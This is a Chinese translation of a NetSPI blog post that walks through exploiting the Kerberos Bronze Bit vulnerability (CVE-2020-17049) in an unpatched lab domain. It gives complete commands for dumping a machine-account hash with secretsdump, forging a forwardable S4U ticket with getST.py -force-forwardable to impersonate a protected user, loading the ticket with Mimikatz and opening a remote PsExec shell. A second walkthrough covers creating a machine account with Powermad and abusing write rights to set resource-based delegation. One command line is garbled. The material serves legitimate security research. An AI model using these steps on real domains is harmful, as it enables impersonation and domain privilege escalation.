0x00 前言

本文主要说明如何针对Kerberos Bronze Bit漏洞(CVE-2020-17049)进行实际利用的过程。在阅读这篇文章之前，我强烈建议大家首先阅读《Bronze Bit攻击理论》这篇文章，以了解这种攻击的根本原因和攻击效果。

值得关注的是，Microsoft在2020年11月10日发布了该漏洞的补丁程序。这个补丁程序的发布将持续到2021年2月9日。以下的攻击场景中假设攻击者在未安装补丁的域控制器环境中进行。

Bronze Bit漏洞攻击是Kerberos委派导致的其他已知攻击的一种扩展方法。此前Elad Shamir和Will Schroeder曾发表过文章，说明了这些攻击方法以及利用条件。而Bronze Bit的漏洞利用则是绕过了现有原始路径的两种潜在缓解措施，从而提高了漏洞利用的有效性和功能性。攻击者现在可以执行以下操作：

1、攻击者可以冒充不允许委派的用户。其中包括Protected Users组的成员，以及任何其他明确配置为“敏感且无法委派”的用户。

2、攻击者可以从不允许执行身份验证协议转换的服务发起攻击。这意味着，如果配置的服务没有TrustedToAuthForDelegation属性(在AD GUI中显示为“信任此用户仅委派指定的服务 - 仅使用Kerberos”)，则攻击者可以利用漏洞利用来获取票证，其效果等价于设置了TrustedToAuthForDelegation属性(在AD GUI中显示为“信任此用户仅委派指定的服务 - 使用任何身份验证协议”)的情况。

0x01 通用攻击路径

该漏洞的一般攻击路径如下：

1、攻击者在AD环境中找到立足点；

2、攻击者获取环境中服务的密码哈希。我们将这个服务称为Service1。攻击者可以通过多种方式获取必要的哈希，例如DC Sync攻击、Kerberoasting，甚至可以通过Powermad使用SPN创建新的计算机帐户。

3、Service1与另一个服务具有受约束的委派信任关系。我们将其称为Service2。信任关系可以是下列之一：

(1) Service1配置为执行对Service2的约束委派。也就是说，Service2在Service1的AllowedToDelegateTo列表中。

(2) Service2配置为接受来自Service1的基于资源的约束委派。也就是说，Service1在Service2的PrincipalsAllowedToDelegateToAccount列表中。

i. 如果攻击者对AD中的Service2对象具有写权限(GenericAll、GenericWrite、WriteOwner等)，则攻击者可以将Service1添加到Service2的PrincipalsAllowedToDelegateToAccount列表中。这样就不再需要Elad Shamir和Will Schroeder所描述的域管理员特权了。

4、攻击者利用该漏洞仿冒为Service1，并获得Kerberos服务票证作为Service2的目标用户。

5、攻击者冒充目标用户，向Service2提供服务票证。攻击者现在已经作为目标用户向Service2进行身份验证，并可以在目标用户的权限下与Service2进行交互。

0x02 漏洞利用

我们使用的Bronze Bit漏洞利用，是由SecureAuth的优秀研究人员开发的Impacket框架的扩展。目前已经提交合并请求，期待能作为其中一个新的漏洞利用功能。Impacket中内置了许多出色的功能，但是我们对其中的getST.py程序比较感兴趣。我们先不看漏洞利用，回顾一下之前的步骤。在第4步，我们进入到攻击路径。假设我们已经获得了Service1的哈希值，Service1与Service2的委派信任关系受到限制，我们需要尝试以目标用户身份访问Service2。

可以使用getST.py程序执行S4U交换，并以指定用户的身份获得指定服务的服务票证。如果允许Service1执行协议转换(即使用TrustedToAuthForDelegation进行配置)，并且未进行委派的保护，则执行过程类似如下：

使用最终的服务票证，攻击者可以模拟目标用户，并成功与Service2进行交互。但是，如果不允许Service1执行协议转换或进行委派的防护，那么在S4U2self交换中获得的中间服务票证将不可转发，并且S4U2proxy请求将失败。

-force-forwardable标志

Bronze Bit漏洞利用已经实现为getST.py程序的扩展。我添加了一个新的-force-forwardable标志，可以将其作为命令行参数传递。如果存在-force-forwardable标志，则在S4U2self交换之后执行漏洞利用。由KDC在S4U2self交换中返回的服务票证将使用Service1的长期密钥，其forwardable标志将设置为1，然后重新加密。更改后的票证将附加在S4U2proxy交换中，KDC将作为目标用户返回Service2的服务票证。

绕过限制并准备好服务票证之后，攻击者就可以模拟目标用户，并与Service2进行交互(攻击路径中的步骤5)。

0x03 实际攻击#1

我们来看看如何进行实际攻击。在这里，我们将看到漏洞利用是如何让我们绕过“信任此用户仅委派指定的服务-仅使用Kerberos”防护，并冒充受委派保护的用户。我们先要设置一些初始环境。

3.1 环境配置

我们的测试域(test.local)包含3台运行Windows Server 2019版本的服务器，未安装此漏洞的补丁。我们将选取Service1服务器上的User1作为立足点来发起攻击。我们的目标是对Service2服务器具有管理访问权限的User2,。在这一过程中，将与所有Kerberos票证的域控制器(DC)进行交互。

在DC上，对Service1进行配置，以使其可以执行受约束的委派，而无需协议转换到Service2。这样一来，可以确保满足攻击路径第3步的条件。如果在AD GUI中设置了这个配置，类似于如下图示：

在DC上，还要更新User2用户，以防止其受到委派。可以使用“敏感且无法委派”属性来配置该账户，也可以将该账户作为Protected Users组成员，任选其一即可。

使用“敏感且无法委派”属性来配置User2帐户：

将User2添加到Protected Users组中：

3.2 执行攻击

退出域控制器，以User1身份登录Service1服务器。这将模拟在环境中立足的过程(攻击路径中的步骤1)。启动PowerShell会话，并确认User1和Service1当前无法在自己的授权情况下访问Service2。

命令：

whoami

ls \\service2.test.local\c$

.\PSTools\PsExec64.exe \\service2.test.local\ powershell.exe

执行：

我们已经确认，User1无法直接访问Service2。接下来，继续攻击路径的第2步——获取Service1的哈希值。在这种情况下，我们将使用Impacket的secretsdump.py程序获取Service1机器帐户的AES256-CTS-HMAC-SHA1-96和LM:NTLM哈希。

命令：

python .\impacket\examples\secretsdump.py 'test/user1:@Service1.test.local'

执行：

在获取必要的哈希之后，我们首先尝试在不带-force-forwardable标志的情况下执行getST.py程序。不出意料的话这个过程会出现失败。如前所述，S4U2self交换仍然将服务票证返回给User2的Service1，但是由于服务的委派限制和用户的委派保护，票证的Forwardable标志没有设置。当票证在S4U2proxy交换中提供时，会出现错误。

命令：

.\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes  -aesKey  test.local/Service1

执行：

接下来，就是大家期待的时刻了，我们来运行漏洞利用程序。现在进行的是攻击路径的第4步。我们将重复上一个命令，不过这次加上了-force-forwardable命令行参数。

命令：

.\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes  -aesKey  test.local/Service1 -force-forwardable

执行：

现在是一个激动人心的时刻，我们可以聚焦于以下几行输出：

Service ticket from S4U2self flags: 00000000101000010000000000000000

Service ticket from S4U2self is not forwardable

Forcing the service ticket to be forwardable

Service ticket flags after modification: 01000000101000010000000000000000

Service ticket from S4U2self now is forwardable

一旦包含-force-forwardable标志，漏洞利用会自动执行，并将从S4U2self交换收到的服务票证转换为可转发的票证。这一过程会使用Service1的哈希值来解密票证，将标志值的第2位由0修改为1，并重新加密票证。这个可转发票证会在S4U2proxy交换中发送，并作为User2的Service2服务票证被返回并写入User2.ccache的磁盘。

接下来，我们使用Mimikatz将服务票证加载到票证缓存中，以供后续使用。加载后，我们看到Mimikatz确认这是User2到Service2的cifs服务的有效票证。

命令：

.\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit

执行：

将服务票证添加到缓存后，我们现在就可以像访问User2一样访问Service2了。我们拥有User2在Service2上的所有权限。这里将使用Mark Russinovich的PSExec在Service2服务器上获取PowerShell会话并运行一些命令。这也就是我们攻击路径的第5步。

命令：

ls \\service2.test.local\c$

.\PSTools\PsExec64.exe \\service2.test.local\ powershell.exe

whoami

hostname

执行：

我们终于实现了目标。至此，我们已经改变了其中的一位，并滥用了Kerberos委派，通过模仿受保护的用户的方式来实现权限提升，并可以进一步攻击其他服务。

0x04 实际攻击#2

接下来，我们来探索初始条件不同的另一条攻击路径。在这里，我们利用AD中Service2对象的写入权限，来实现最终的攻击目标。

4.1 环境配置

我们继续使用上一个实际攻击所使用的环境，只需要对其稍加修改。目标User2帐户可以保留其配置为Protected Users成员的身份，或者使用“敏感且无法委派”的属性来保持其配置。

首先，删除Service1的委派权限。连接到DC，并使用“不信任此计算机进行委派”来配置Service1。

编辑Service2计算机对象，向User1授予写权限。在这里，除了我们直接授予权限，用户通常还会由于特权组的身份获得对一个或多个AD对象的写权限。这里的用户不一定是域管理员。

4.2 执行攻击

退出域控制器，并以User1身份登录Service1服务器，这样就模拟了我们在环境中的立足点。如果使用的是上一次实际攻击的环境，需要确认是否已经清除本地Kerberos票证缓存。清除缓存的最有效方法，就是重新启动Service1。

与前面的示例不同，在这次攻击中不会利用Service1和Service2之前的任何委派信任关系。在将Service1配置为“不信任此计算机进行委派”之后，原有的信任关系将不再存在。我们需要与Service2建立新的委派关系，这是一个全新的服务。

要在环境中创建新的服务，我们使用的是Kevin Robertson的Powermad来创建一个新的主机帐户。这次不需要提升特权，默认情况下域中的任何一个用户都可以使用。我们将主机帐户命名为AttackerService，并设置任意密码AttackerServicePassword。

命令：

Import-Module .\Powermad\powermad.ps1

New-MachineAccount -MachineAccount AttackerService -Password $(ConvertTo-SecureString 'AttackerServicePassword' -AsPlainText -Force)

执行：

由于我们选择了新主机帐户的密码，因此可以使用Mimikatz轻松计算出相应的密码哈希。这样一来，就完成了攻击路径的步骤2。

命令：

.\mimikatz\mimikatz.exe "kerberos::hash /password:AttackerServicePassword /user:AttackerService /domain:test.local" exit

执行：

接下来，使用PowerShell Active Directory模块来检查新创建的主机帐户。由于该模块目前还处于不可用状态，因此我们需要安装相应的功能，导入该模块，然后检查新创建的计算机帐户。

命令：

Install-WindowsFeature RSAT-AD-PowerShell

Import-Module ActiveDirectory

Get-ADComputer AttackerService

执行：

确认主机帐户存在滞后，我们可以在Service2和AttackerService之间建立约束委派信任关系。由于User1(由我们控制的立足点帐户)具有对Service2的写权限，所以我们可以将AttackerService添加到Service2的PrincipalsAllowedToDelegateToAccount列表中。这样一来，会在Service2上建立基于资源的约束委派，并从AttackerService接受约束委派。完成此步骤之后，我们就满足了攻击路径第3步的条件。

命令：

Set-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$

Get-ADComputer Service2 -Properties PrincipalsAllowedToDelegateToAccount

执行：

继续执行攻击路径的第4步，并执行漏洞利用。我们将使用与上一个示例相同的命令，但这次指定的是AttackerService而不是Service1，随后使用Mimikatz计算哈希值。当在命令中包含-force-forwardable标志时，会看到与上一个示例相同的结果。执行漏洞利用，设置forwardable标志，并将作为User2的Service2服务票证写入User.ccache的磁盘。

命令：

python .\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes 830f8df592f48bc036ac79a2bb8036c5:830f8df592f48bc036ac79a2bb8036c5 -aesKey 2a62271bdc6226c1106c1ed8dcb554cbf46fb99dda304c472569218c125d9ffc test.local/AttackerService -force-forwardableet-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$

执行：

现在，我们可以简单地重复上一个示例中最后的命令。通过使用Mimikatz将服务票证加载到本地Kerberos票证缓存中，实现攻击路径的第5步。然后，我们通过与Service2进行交互(模拟User2)来执行第5步。

命令：

.\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit | Out-Null

ls \\service2.test.local\c$

.\PSTools\PsExec64.exe \\service2.test.local\ powershell.exe

whoami

hostname

执行：

至此，利用对Service2 AD对象的写权限作为立足点，我们已经成功搞定了这个服务。

参考及来源：https://blog.netspi.com/cve-2020-17049-kerberos-bronze-bit-attack/